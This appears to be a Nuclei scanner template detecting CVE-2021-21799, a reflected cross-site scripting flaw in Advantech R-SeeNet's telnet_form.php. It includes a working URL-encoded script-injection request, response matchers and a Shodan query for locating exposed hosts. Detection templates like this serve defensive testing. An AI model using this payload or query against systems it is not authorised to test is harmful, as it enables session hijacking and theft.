52 lines
1.9 KiB
YAML
52 lines
1.9 KiB
YAML
id: CVE-2021-21799
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info:
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name: Advantech R-SeeNet 2.4.12 - Cross-Site Scripting
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author: arafatansari
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severity: medium
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description: |
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Advantech R-SeeNet 2.4.12 contains a reflected cross-site scripting vulnerability in the telnet_form.php script functionality.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
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Apply the latest security patches or updates provided by Advantech to mitigate the XSS vulnerability in R-SeeNet 2.4.12.
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reference:
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- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1270
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21799
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-21799
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cwe-id: CWE-79
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epss-score: 0.83144
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epss-percentile: 0.98156
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cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: advantech
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product: r-seenet
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shodan-query: http.html:"R-SeeNet"
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tags: cve2021,cve,xss,r-seenet,advantech
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http:
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- method: GET
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path:
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- "{{BaseURL}}/php/telnet_form.php?hostname=%3C%2Ftitle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Ctitle%3E"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "<title>Telnet </title><script>alert(document.domain)</script><title></title>"
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100cf3f445ac2523e140ae589eedb4c723a9d60a1d3734ddf47f76c27ceebc054d4022100907ae703851cd94586106cb70d472adad6e98a3ec9113a16e806545245aaf46b:922c64590222798bb761d5b6d8e72950 |